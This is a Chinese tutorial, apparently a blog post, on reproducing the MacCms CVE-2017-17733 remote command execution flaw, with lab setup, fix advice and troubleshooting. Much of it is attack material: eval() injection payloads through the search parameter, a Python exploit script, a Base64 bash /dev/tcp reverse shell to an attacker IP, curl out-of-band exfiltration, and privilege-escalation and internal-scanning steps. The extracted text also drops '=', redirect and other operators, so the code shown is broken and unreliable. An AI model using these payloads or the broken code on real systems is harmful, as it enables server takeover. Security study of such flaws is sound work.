到远程命令执行实战)
1. 项目概述一次对经典CMS漏洞的深度剖析在内容管理系统CMS的漫长发展史中苹果CMSMacCms因其在影视资源站建设领域的广泛应用而广为人知。今天我们要深入探讨的是编号为CVE-2017-17733的一个历史高危漏洞——远程命令执行漏洞。这个漏洞曾让无数使用旧版本MacCms的网站门户大开攻击者无需任何身份验证即可在服务器上执行任意系统命令其危害性不言而喻。对于安全研究人员、渗透测试工程师乃至运维人员而言理解这类漏洞的成因、掌握其复现方法不仅是提升个人技能的关键更是构建纵深防御体系、避免重蹈覆辙的必修课。本文将从一个一线从业者的视角带你从零开始完整复现CVE-2017-17733并深入剖析其背后的代码逻辑、利用条件以及防御思路。无论你是刚入门的安全爱好者还是希望加固自身系统的开发者这篇文章都将提供一份详实的“作战地图”。2. 漏洞原理与核心代码逻辑拆解2.1 漏洞触发点定位search参数的处理之殇CVE-2017-17733漏洞的核心触发点位于MacCms的搜索功能模块中。具体来说是/index.php或某些版本中的特定控制器在处理用户提交的搜索关键词时存在严重的参数过滤缺陷。攻击者通过构造特殊的HTTP请求将恶意代码注入到search参数中这些参数最终被传递给了PHP的eval()函数或类似的可执行代码函数。为什么是search参数在早期的CMS设计中为了提供灵活的搜索功能如支持标签搜索、分类搜索、关键词高亮等开发者有时会采用动态拼接PHP代码并执行的方式来实现复杂的查询逻辑。MacCms的某个版本中在application/common/model/VideoData.php具体文件路径可能因版本略有差异的listData方法或相关函数中存在如下问题代码// 模拟问题代码逻辑非原版为说明原理 public function search($params) { $where ‘11‘; if (isset($params[‘search‘])) { $search $params[‘search‘]; // 危险操作未经过滤直接将用户输入拼接进eval语句 $code “\$where . ‘ and title like \’%“ . $search . “%\’‘;”; eval($code); // 或 system(), exec(), passthru() 等 } // 后续数据库查询... }这段代码的致命伤在于它直接将用户可控的$search变量拼接进了字符串然后通过eval()函数执行。eval()会把字符串当作PHP代码来执行。这意味着如果攻击者提交的search参数不是普通关键词而是一段精心构造的PHP代码例如“;phpinfo();//那么拼接后的代码将变成$where . ‘ and title like ‘%‘;phpinfo();//%‘‘;eval()执行时会先执行$where . ‘ and title like ‘%‘;然后执行phpinfo();//后面的内容则被注释掉。这样phpinfo()函数就被成功执行服务器信息泄露无遗。这仅仅是开始攻击者可以替换phpinfo()为任何系统命令执行函数从而完全控制服务器。2.2 漏洞利用链的关键参数传递与代码执行上下文理解这个漏洞不能只看一个点而要看清整个链条。用户的输入是如何一步步从HTTP请求走到eval()函数里的请求入口通常是通过前端的搜索表单或者直接构造GET/POST请求到index.php?s/video/search这样的路由。框架路由MacCms基于ThinkPHP会解析这个URL将请求分发到对应的控制器如VideoController的search方法。参数接收控制器方法通过I(‘get.search‘)或$_REQUEST[‘search‘]等方式获取用户输入的搜索词。这里往往缺乏有效的全局过滤。模型处理控制器将参数传递给模型如VideoData的方法进行处理。问题就出在模型内部处理逻辑中如上文所述进行了危险的字符串拼接和代码执行。命令执行通过eval()执行了包含恶意代码的字符串。更危险的是如果拼接的字符串中使用了system()、shell_exec()、反引号等函数攻击者就能直接执行操作系统命令。这个链条揭示了两个关键点一是框架或应用自身没有在关键节点对用户输入进行严格的过滤和验证二是开发者错误地使用了危险的函数来处理动态逻辑。这种“用户输入直接进入代码执行环境”的模式是远程命令执行RCE漏洞的典型成因。注意在实际的漏洞利用中攻击者会极力避免使用空格、引号等可能被过滤的字符并采用各种编码和混淆技巧来绕过可能的简单防御。例如使用${IFS}代替空格使用Base64编码命令后再解码执行等。3. 漏洞复现环境搭建与配置3.1 靶机环境准备要安全地复现漏洞我们必须在隔离的环境中进行。强烈建议使用虚拟机。操作系统选择推荐使用Ubuntu 18.04 LTS或CentOS 7这些系统与漏洞发生时的环境较为接近。在VMware或VirtualBox中新建一台虚拟机。Web服务与PHP环境安装# 以Ubuntu为例 sudo apt update sudo apt install apache2 php php-cli php-mysql libapache2-mod-php unzip -y安装后通过php -v确认PHP版本。漏洞影响的MacCms版本如v8.x早期版本通常运行在PHP 5.3-7.0环境下我们可以安装PHP 5.6或7.0来模拟。# 安装PHP 7.0 sudo apt install software-properties-common sudo add-apt-repository ppa:ondrej/php sudo apt update sudo apt install php7.0 php7.0-cli php7.0-mysql php7.0-curl php7.0-gd php7.0-mbstring下载存在漏洞的MacCms版本这是复现的关键。你需要寻找并下载MacCms 8.x的某个早期发布版本例如v8.0。请务必通过可信的源码存档站或历史版本仓库获取切勿在生产环境中测试。将下载的ZIP包解压到Apache的Web根目录通常是/var/www/html/maccms。sudo unzip maccms8.zip -d /var/www/html/ sudo chown -R www-data:www-data /var/www/html/maccms sudo chmod -R 755 /var/www/html/maccms配置与访问根据MacCms的安装说明可能需要配置数据库。为了快速复现我们可以先跳过数据库安装因为漏洞触发点可能在安装完成前的某些代码路径中或者不依赖数据库。直接通过浏览器访问http://你的虚拟机IP/maccms如果能见到安装页面或首页说明环境基本就绪。3.2 攻击机环境与工具准备攻击机可以是你的物理机也可以是同一网络下的另一台虚拟机。必备工具Burp Suite用于拦截、修改和重放HTTP请求是手工测试和漏洞利用的瑞士军刀。HackBar浏览器插件方便在浏览器中快速构造和发送Payload。Python 3用于编写自动化验证或利用脚本。我们将利用“python远程执行shell命令”这个热词背后的技术即用Python的subprocess或os模块来模拟攻击者执行命令并在脚本中构造HTTP请求。Netcat (nc)用于接收反弹Shell测试命令执行是否成功。网络配置确保攻击机和靶机在同一局域网内可以互相ping通。记录下靶机的IP地址。4. 手工复现与漏洞利用实战4.1 初步探测与漏洞验证首先我们尝试最基础的验证确认漏洞是否存在。定位接口通过浏览网站或分析源码找到搜索功能的请求接口。通常可能是http://靶机IP/maccms/index.php?s/video/searchhttp://靶机IP/maccms/index.php?mvideoasearch使用Burp Suite拦截一个正常的搜索请求例如搜索“test”观察请求方法和参数。构造Payload假设我们拦截到的GET请求参数是searchtest。我们将test替换为我们的Payload。一个最简单的验证Payload是执行phpinfo()函数查看服务器信息原始Payloadsearch“;phpinfo();//URL编码后Burp Suite可自动处理search%22%3Bphpinfo%28%29%3B%2F%2F在Burp Suite的Repeater模块中发送这个修改后的请求。分析响应如果响应体中出现了巨大的、格式化的PHP信息页面那么恭喜你漏洞存在这证明了eval()执行了我们注入的phpinfo()代码。如果返回的是错误页面或空白可能Payload需要调整或者漏洞路径不对。4.2 实现远程命令执行RCE验证了代码执行后下一步就是升级到系统命令执行。我们的目标是让服务器执行whoami或id这样的系统命令。寻找命令执行函数在PHP中除了eval()执行PHP代码我们还需要一个能调用系统Shell的函数。常用的有system(“command”)执行命令并输出结果。shell_exec(“command”)执行命令返回全部输出为字符串。command反引号与shell_exec()相同。passthru(“command”)执行命令并直接输出原始结果。exec(“command”, $output)执行命令将输出存入数组。 我们需要在Payload中调用这些函数之一。构造RCE Payload假设我们使用system()函数。我们需要构造一个能闭合原有代码并插入system()调用的字符串。Payload构思“;system(“whoami”);//问题双引号可能会被转义或破坏语法。更稳健的做法是利用PHP的字符串连接或者使用没有引号的参数传递方式但system函数需要。一个常见的技巧是将命令用Base64编码然后在PHP中解码执行避免特殊字符问题。进阶Payload“;system(base64_decode(‘d2hvYW1p‘));//其中d2hvYW1p是whoami的Base64编码。发送并验证在Burp Suite Repeater中发送此Payload。如果响应中包含了执行whoami命令的结果如www-data则证明远程命令执行成功4.3 使用Python编写自动化利用脚本手工利用效率低且不利于批量测试或复杂利用。我们可以用Python编写一个简单的POC概念验证脚本。这正应了“python远程执行shell命令”这个热词——我们用Python去远程让靶机执行Shell命令。#!/usr/bin/env python3 # -*- coding: utf-8 -*- CVE-2017-17733 MacCms 远程命令执行漏洞利用脚本 仅用于授权测试请勿用于非法用途 import requests import sys import base64 def exploit(target_url, command): 利用漏洞执行命令 :param target_url: 存在漏洞的搜索接口URL :param command: 要执行的系统命令 # 将命令进行Base64编码避免特殊字符问题 b64_command base64.b64encode(command.encode()).decode() # 构造Payload。注意这里的Payload格式需要根据实际漏洞代码调整。 # 假设漏洞点是 search 参数且代码拼接方式如文中所述。 # 一种可能的Payload格式 payload f‘“;system(base64_decode(‘{b64_command}‘));//‘ # 设置请求参数 params { ‘search‘: payload } # 也可以尝试POST方式取决于目标 # data {‘search‘: payload} headers { ‘User-Agent‘: ‘Mozilla/5.0 (MacCms RCE Test Script)‘, ‘Accept‘: ‘text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8‘, } try: print(f‘[*] 目标: {target_url}‘) print(f‘[*] 执行命令: {command}‘) print(f‘[*] 发送Payload...‘) # 发送GET请求 response requests.get(target_url, paramsparams, headersheaders, timeout10) # 如果是POST使用response requests.post(target_url, datadata, headersheaders, timeout10) # 从响应中提取命令执行结果是一个挑战因为结果可能混杂在HTML中。 # 这里简单打印响应文本的前2000字符用于观察。 print(‘[] 响应摘要:‘) print(response.text[:2000]) print(‘\n‘ ‘‘*50 ‘\n‘) # 更高级的做法可以尝试在Payload中让命令输出一个特定标记然后在响应中搜索这个标记来提取纯净结果。 # 例如command ‘echo [START] whoami echo [END]‘ # 然后在 response.text 中查找 [START] 和 [END] 之间的内容。 except requests.exceptions.RequestException as e: print(f‘[-] 请求失败: {e}‘) except Exception as e: print(f‘[-] 发生错误: {e}‘) if __name__ ‘__main__‘: if len(sys.argv) ! 3: print(f‘用法: {sys.argv[0]} 目标URL “命令”‘) print(‘示例: python3 exploit.py http://192.168.1.100/maccms/index.php?s/video/search “id”‘) sys.exit(1) target sys.argv[1] cmd sys.argv[2] exploit(target, cmd)脚本使用说明将脚本保存为maccms_rce.py。在终端运行python3 maccms_rce.py “http://靶机IP/maccms/.../search” “whoami”脚本会构造Payload并发起请求打印出响应内容。你需要在返回的HTML代码中仔细查找命令执行的结果可能是一行小小的www-data文本。实操心得在实际渗透测试中直接回显的命令结果往往淹没在HTML中。更可靠的方法是使用“带外数据”OOB技术比如让靶机执行curl http://你的监听IP:端口/whoami或者使用DNSlog平台。这样命令执行的结果会通过HTTP或DNS请求发送到你的服务器清晰可见。5. 漏洞深度利用与后渗透思路5.1 获取交互式Shell反弹Shell执行单条命令只是开始安全测试的终极目标是获取一个交互式的Shell以便进行更深入的探查。这就是“反弹Shell”。在攻击机监听端口在攻击机上用Netcat打开一个监听端口。nc -lvnp 4444构造反弹Shell命令我们需要让靶机执行一个命令主动连接到攻击机的4444端口并把这个连接绑定到一个Shell上。Linux下经典的反弹Shell命令是bash -c ‘bash -i /dev/tcp/攻击机IP/4444 01‘或者使用更兼容的版本/bin/bash -c ‘/bin/bash -i /dev/tcp/攻击机IP/4444 01‘通过漏洞执行将这个复杂的命令进行Base64编码然后通过我们的Python脚本或Burp Suite发送。编码echo -n “/bin/bash -c ‘/bin/bash -i /dev/tcp/192.168.1.50/4444 01‘“ | base64得到编码字符串假设为L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjUwLzQ0NDQgMD4mMScPayload“;system(base64_decode(‘L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjUwLzQ0NDQgMD4mMSc‘));//发送Payload执行后观察Netcat监听窗口如果成功你会看到靶机的Shell提示符如www-dataubuntu:/var/www/html$。5.2 权限提升与内网横向移动获取了Web Shell通常是www-data用户权限后测试并未结束。信息收集在Shell中执行命令收集系统信息。whoami id uname -a cat /etc/passwd cat /etc/issue ps aux netstat -antp ifconfig权限提升提权尝试寻找提升到root权限的方法。查找SUID文件find / -perm -us -type f 2/dev/null查看sudo权限sudo -l检查内核版本搜索公开漏洞uname -r上传本地提权检测脚本如LinEnum、linux-exploit-suggester。内网探测如果靶机处于内网可以尝试探测内网其他主机。cat /etc/hosts arp -a ip route # 使用上传的nmap二进制进行扫描需提前下载对应架构的nmap静态编译版 ./nmap -sn 192.168.1.0/24重要警告所有上述深度利用操作必须、务必、绝对在你自己搭建的、完全隔离的虚拟机实验环境中进行。未经授权对任何非自有系统进行测试均属违法行为。6. 漏洞修复方案与安全开发建议复现漏洞是为了更好地防御。了解了攻击原理我们就可以针对性地修复和预防。6.1 针对CVE-2017-17733的紧急修复对于仍然在使用受影响旧版本MacCms的用户应立即采取以下措施升级到最新版本这是最根本、最有效的解决方案。MacCms官方在后续版本中已经修复了此漏洞。访问官方网站下载最新版本进行覆盖升级注意备份数据和自定义模板。临时补丁如果无法立即升级定位到存在漏洞的代码文件如VideoData.php找到使用eval()或类似函数处理search参数或其他用户输入的代码段。最佳修复彻底重写该逻辑避免使用eval()。使用安全的参数绑定方式构建数据库查询条件ThinkPHP框架本身提供了where(‘title‘, ‘like‘, “%{$search}%”)这样的安全方法。临时缓解如果必须临时处理在eval()执行前对用户输入进行极其严格的白名单过滤。只允许字母、数字、汉字等搜索关键词必需的字符过滤掉所有分号、引号、括号、反斜杠等特殊字符。// 临时过滤示例不推荐长期使用 $search preg_replace(‘/[^a-zA-Z0-9\x{4e00}-\x{9fa5}]/u‘, ‘‘, $search); // 只保留英文、数字、中文 // 然后再进行后续处理但最好还是移除eval6.2 安全开发规范预防类似漏洞要从根源上杜绝此类漏洞开发者需要建立牢固的安全意识永远不要信任用户输入将所有来自外部的数据GET、POST、COOKIE、HTTP头等视为不可信的。在使用的每一步接收、存储、使用、输出都要进行校验和过滤。避免使用危险函数eval()、assert()、system()、exec()、shell_exec()、passthru()、popen()、反引号等函数能不用就不用。如果必须使用如某些管理功能必须对输入进行白名单严格控制并限定执行环境。使用安全的API对于数据库操作使用预编译语句Prepared Statements和参数绑定这是防止SQL注入的基石。对于命令执行如果可能使用更安全、参数化的函数替代如escapeshellarg()和escapeshellcmd()对参数进行转义但这并非绝对安全。实施最小权限原则运行Web服务的用户如www-data应该只有最低必要的权限。不要以root身份运行Web服务。这样即使被攻破攻击者能造成的破坏也有限。部署Web应用防火墙WAF在应用前端部署WAF可以拦截大量已知的攻击Payload为修复漏洞争取时间。定期更新与安全审计保持CMS核心、插件、主题以及服务器系统、中间件PHP/Apache/Nginx的最新版本。定期对代码进行安全审计或使用自动化代码审计工具进行扫描。7. 常见问题与排查技巧实录在复现和后续研究中你可能会遇到各种问题。以下是一些常见情况及解决思路问题现象可能原因排查与解决思路发送Payload后返回空白页或500错误1. Payload语法错误导致PHP解析失败。2. 目标PHP配置禁用了eval()或相关危险函数disable_functions。3. 漏洞路径或参数不正确。1. 检查Payload的闭合符号是否正确分号、引号是否匹配。使用更简单的Payload如“;echo(‘TEST‘);//测试。2. 尝试创建一个phpinfo.php页面查看disable_functions列表。如果eval被禁用此漏洞利用方式可能失效。3. 查看源码确认搜索功能处理逻辑的确切文件和参数名。使用Burp Intruder对可能的参数进行模糊测试。命令执行成功但无回显1. 命令执行了但输出被重定向或未包含在HTTP响应中。2. 使用了exec()等不直接输出的函数。1. 尝试使用OOB带外技术如curl、wget或ping将结果发送到你的服务器。2. 在Payload中尝试使用system()或passthru()并确保命令有输出如whoami,pwd。3. 尝试将命令输出写入Web目录下的一个文件然后通过浏览器访问该文件查看。例如“;system(‘whoami /var/www/html/test.txt‘);//Python脚本无法提取执行结果命令输出混杂在HTML中难以用简单字符串匹配提取。1. 改进脚本在Payload中使用唯一标记包裹命令输出。例如“;echo ‘[START]‘;system(‘id‘);echo ‘[END]‘;//然后在脚本中提取[START]和[END]之间的内容。2. 放弃回显直接使用反弹Shell或DNSlog等OOB方式成功率更高结果更清晰。反弹Shell不成功1. 靶机防火墙出站规则限制。2. 靶机没有/dev/tcp设备某些精简系统。3. Netcat命令参数错误或版本问题。1. 尝试其他端口如53、80、443或使用ICMP、DNS隧道。2. 尝试使用其他反弹Shell命令如使用Python、Perl、PHP甚至Telnet构造的Payload。3. 确保攻击机防火墙入站规则允许对应端口连接。使用nc -lvnp 4444监听TCP端口。漏洞修复后网站搜索功能异常修复时过滤过于严格或修改了正常业务逻辑。1. 采用白名单过滤时确保字符集覆盖所有合法的搜索词如考虑中文、连接符-等。2. 彻底移除eval()后务必用安全的数据库查询方法重构搜索逻辑并进行充分的功能测试。个人踩坑心得在一次内部测试中我遇到一个环境简单的phpinfo()可以执行但任何系统命令都无法回显。排查很久才发现不是函数被禁用而是因为Web服务器NginxPHP-FPM的配置将stderr重定向到了/dev/null而system()的错误输出影响了结果。最后通过将命令的标准输出和错误输出都重定向来解决“;system(‘whoami 21‘);//。这个小细节告诉我在漏洞利用中网络、系统配置、运行环境每一个环节都可能成为障碍需要更全面的知识储备和灵活的排错思路。永远不要假设环境是“标准”的。